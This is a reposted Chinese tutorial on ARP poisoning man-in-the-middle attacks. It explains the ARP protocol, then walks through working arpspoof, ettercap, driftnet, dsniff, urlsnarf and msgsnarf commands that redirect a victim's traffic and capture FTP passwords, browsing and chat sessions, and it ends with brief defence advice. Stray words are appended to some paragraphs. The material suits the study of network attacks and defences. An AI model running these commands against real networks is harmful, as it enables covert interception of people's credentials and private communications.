[轉]中間人攻擊-ARP毒化

原文地址:http://www.freebuf.com/articles/system/5157.htmlhtml

中間人攻擊雖然古老,但仍處於受到黑客攻擊的危險中,可能會嚴重致使危害 服務器和用戶。仍然有不少變種的中間人攻擊是有效的,它們可以很容易的欺騙外行而且入侵他們。正如字面意思同樣,中間人攻擊就是攻擊者扮演中間人而且實施 攻擊。它有時被稱爲monkey-in-the-middle攻擊更先進的說它是man-in-the-browser攻擊和man-in-the- mobile攻擊。緩存

這實際上是一個危險的攻擊,它能夠劫持一段會話,咱們叫它會話劫持。它能夠竊取憑證和其餘機密信息,即便使用了SSL加密。在本文中,咱們將討論下在不一樣形式下的中間人攻擊。服務器

ARP(地址解析協議)網絡

ARP是一項協議。負責執行多個工做而且提供正確的數據包,在中間人攻擊中,ARP扮演着重要的角色。那麼,什麼是ARP緩存中毒攻擊呢?
要充分了解攻擊,你須要瞭解ARP的概念,ARP協議經過IP地址來查找主機的物理地址(也就是MAC地址)。(PS:在以太網中,是用MAC地址來進行 通信的。)讓咱們來想象這樣一個場景:在一個以太網交換網絡內,主機A但願能與主機B進行交流(因此咱們要獲取他的MAC地址咯)。因此主機A經過交換機 (HUB也能夠- -)對整個網絡進行廣播,而後使用地址解析協議找到目標主機B的MAC地址。儘管整個廣播域下都能收到主機A發送的信息,但只有主機A所請求的主機纔會回 復ARP請求,將本身的MAC地址發給主機A。
讓咱們來看看下面這個圖,以便深刻理解:
dom

主機A發送的所包含的信息: tcp

源IP: 192.168.1.2
源 MAC: 00:1c:23:42:8d:f4
目的IP: 192.168.1.12
目的MAC地址: 00:00:00:00:00:00 <PS:不知道做者爲啥寫全0,應該也是本地廣播吧。不清楚的同窗就當全F吧。>
以後B主機回覆ARP請求
源 IP: 192.168.1.12
源 MAC: 2f:8d:1c:0f:f2:8f
目的 IP: 192.168.1.2
目的 MAC地址: 00:1c:23:42:8d:f4

ARP請求:
考慮上述場景,主機A的ARP請求發送一個廣播給全部同網絡的主機。
ARP響應:
它回覆了響應,其中包含目的主機的MAC地址(主機B也在此網段內)。
RARP請求:
RARP(反向地址解析協議)與ARP相反,RARP請求就是根據MAC地址來查找IP地址。
RARP響應:
RARP響應與ARP響應相反,在RARP響應中它包含了IP地址。
ARP工做在OSI模型的第三層(網絡層),但它不侷限於此。它能夠請求第二層(數據鏈路層)獲取物理地址(MAC)。固然與它相反的過程就是RARP
全部的主機維護他們本身的ARP緩存表,因此不會每一次都發送廣播,ARP表中包含IP對應的MAC地址。工具

ARP欺騙(ARP毒化)
ARP毒化也被稱爲ARP緩存中毒和ARP欺騙攻擊,這是在內網的中間人攻擊。ARP欺騙採起的優點是經過ARP協議欺騙,達到對整個網絡進行欺騙。有幾 種可能引發ARP欺騙的方法,通常是利用內網中的被攻陷主機或使用本身的主機(內部入侵)。有許多工具可以來實施ARP欺騙,如:測試

ARPspoof
Cain&abel
Ettercap
ARPoison
Dsniff
Parasite

讓咱們開始實戰吧:網站

root@bt:~# arp
Address HWtype HWaddress Flags Mask Iface
192.168.1.1 ether 00:22:93:cf:eb:6d C eth0
root@bt:~#

因此個人ARP表已經有了默認的網關和MAC地址,我將演示把全部受害者的流量引入個人主機(攻擊者),而後我使用ARP欺騙,而網關將把本來流入他們的數據傳送給我。
攻擊者:192.168.1.2
被欺騙主機:192.168.1.5
默認網關:192.168.1.1
咱們須要啓用IP轉發,輸入下面命令(PS:利用Linux主機的路由功能):google

root@bt:~# cat /proc/sys/net/ipv4/ip_forward
0
root@bt:~# echo 1 >> /proc/sys/net/ipv4/ip_forward
root@bt:~# cat /proc/sys/net/ipv4/ip_forward
1
root@bt:~#

下面的攻擊我使用ARPspoof,來演示ARPspoofing攻擊。這是一個不錯的開源工具,能夠用來執行ARP欺騙攻擊。

root@bt:~# arpspoof -h
Usage: arpspoof [-i interface] [-t target] host

下面的命令是利用ARP毒化,重定向受害者的流量傳送給攻擊者。

root@bt:~# arpspoof -i eth0 -t 192.168.1.5 192.168.1.1

 

如今作第二個ARP毒化攻擊,使網關的數據重定向到攻擊者的機器。(流量由網關到攻擊者再到受攻擊者)

root@bt:~# arpspoof -i eth0 -t 192.168.1.1  192.168.1.2

 

一切都已經設置完畢後,讓咱們來捕獲數據包。我在受攻擊的主機上用google搜索貓的圖片。
(PS:有點單項欺騙的意思)
如今咱們在攻擊者的主機上輸入:

root@bt:~# driftnet -i eth0

 

經過使用Ettercap來進行ARP欺騙
Ettercap是一個多用途的開源工具,能夠用來執行嗅探、主機分析等。在本教程中,咱們使用中間人攻擊進行ARP欺騙,ettercap有些不錯的插件,能夠加強中間人攻擊。Ettercap中最重要的插件以下:

dns_spoof (執行DNS欺騙攻擊)
Dos_attack(對受害主機進行拒絕服務攻擊)
Chk_poison(檢測是否成功進行了攻擊)
Repoison_arp(顧名思義,修復ARP)

固然ettercap還有不少插件可使用,ettercap的優勢在於可使用圖形化界面和命令行模式,GUI的ettercap很是容易使用。

 

在實際攻擊以前,讓咱們先來討論一些參數

-t 只監聽這種協議
-T ettercap檢查pcap文件(脫機監聽)
-q 安靜(不回顯)
-M 這是一個重要的參數,他會告訴ettercap執行中間人攻擊,使用這個參數很簡單,如 -M method

例子1:

Ettercap -T -q -M ARP//

若是你在一個很是大的網絡,那麼我不建議你用這個命令。由於命令告訴ettercap對全部主機進行ARP欺騙

例子2:
目標/受害者 IP:192.168.1.6

root@bt:~# ettercap -T -q -M ARP /192.168.1.6/ //
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGAListening on eth0... (Ethernet)
eth0 ->    00:1C:23:42:8D:04 192.168.1.4 255.255.255.0SSL dissection needs a valid 'redir_command_on' script in the etter.conf filePrivileges dropped to UID 65534 GID 65534...28 plugins39 protocol dissectors53 ports monitored7587 mac vendor fingerprint1698 tcp OS fingerprint
2183 known servicesRandomizing 255 hosts for scanning...Scanning the whole netmask for 255 hosts...* |==================================================>| 100.00 %
…..............Starting Unified sniffing...

這意味着一切準備工做完成了,嗅探已經啓動,讓咱們驗證它吧。

root@bt:~# driftnet -i eth0

下面這幅圖片表示受害者訪問了一個網站,攻擊者能夠很容易利用driftnet來捕獲受害者的活動。

 

咱們也能分析ARP毒化,手動驗證IP地址,
受害主機被攻擊以前:

C:\>arp -a
No ARP Entries Found

受害主機被攻擊以後:

C:\>arp -a
Interface: 192.168.1.6 --- 0x2Internet Address     Physical Address     Type192.168.1.1        00-1c-23-42-8d-04     dynamic192.168.1.4         00-1c-23-42-8d-04     dynamic
C:\>

你能夠看到,都是常見的主機IP和路由IP,而MAC地址則是攻擊者的物理地址,所以ARP欺騙已經成功。

攻擊者主機在攻擊以前:

root@bt:~# arpAddress HWtype HWaddress Flags Mask Iface192.168.1.1 ether 00:22:93:cf:eb:6d C eth0

攻擊者主機在攻擊以後:

root@bt:~# arp
Address HWtype HWaddress Flags Mask Iface
192.168.1.6 ether 08:00:27:66:13:9b C eth0
192.168.1.1 ether 00:22:93:cf:eb:6d C eth0

有不少其餘方式來展示ARP欺騙的力量,咱們將討論dsniff套件中的一部分。
Dsniff&ARP欺騙攻擊
Dsniff是一個很是強大的工具套件,它被用來進行滲透測試。它被用來實施嗅探、網絡分析等。它可以捕捉各類協議。ARPspoof和driftnet也是dsniff套件的一部分,固然還有其餘套件,如:

Msgsnarf
Urlsnarf
Mailsnarf
Filesnarf
dnsspoof

在以下攻擊場景中:

攻擊者IP: 192.168.1.12
被攻擊主機IP:192.168.1.6
路由(網關)IP:192.168.1.1

讓咱們開始進行ARPspoof IP轉發攻擊:

root@bt:~# echo 1 >> /proc/sys/net/ipv4/ip_forwardroot@bt:~# arpspoof -i eth0 -t 192.168.1.6 192.168.1.1root@bt:~# arpspoof -i eth0 -t 192.168.1.1 192.168.1.12

我剛剛啓用端口轉發,以後使用arpspoof(dsniff的一個插件)來執行ARP毒化攻擊。開啓dsniff來捕獲已知協議獲取密碼。

root@bt:~# dsniff -i eth0dsniff: listening on eth0

 

如圖所示,dsniff成功從受害者主機上捕獲了FTP的用戶名和密碼,儘管這個密碼是不正確的,但dsniff能夠捕獲受害者發送的信息。
由於攻擊者的主機做爲了默認的路由器(由於進行了ARP欺騙),所以受害主機傳輸的數據通過攻擊者,攻擊者很容易能夠嗅探到受害者發送的信息。咱們能夠 arpspoof全部網段內的主機,但咱們的示例中只ARP欺騙了單個主機。你能夠試試其餘的dsniif工具,像urlsnarf。

root@bt:~# urlsnarf -i eth0
urlsnarf: listening on eth0 [tcp port 80 or port 8080 or port 3128]

它能捕獲受害者訪問網站的詳細信息。你能夠試試msgsnarf捕獲即時聊天會話信息,個人意思是若是用戶經過雅虎聊天或者任何IRC頻道,經過msgsnarf能夠捕獲受害者全部的談話,結束攻擊須要結束arpspoof。

root@bt:~# killall arpspoof

如何防止ARP毒化攻擊
ARP欺騙是一種很是危險的攻擊,攻擊者能夠很容易的探取受害者主機證書和其餘機密信息。所以如何發現且保護ARP毒化受害者攻擊呢?其實這是很容易識別的,若是你是受害主機,可使用ARP命令查看。
正如咱們能夠對上面所討論IP地址被ARP欺騙攻擊以前和以後的區別進行比較,可以驗證你是不是受害者。其餘的方法是設置ARP緩存表爲靜態,但不推薦。由於在一個大型的網絡中,它要花費很長的時間手動設置,這是不可能的。
這裏有不少工具能夠用來幫助你判斷是否受到了ARP欺騙,並且有幾種工具是可用的,它能夠保護你的計算機免受ARP毒化而且檢測出ARP緩存表的更變,一些比較出名的工具:

ARPon
ARP Wath
XARP
相關文章
相關標籤/搜索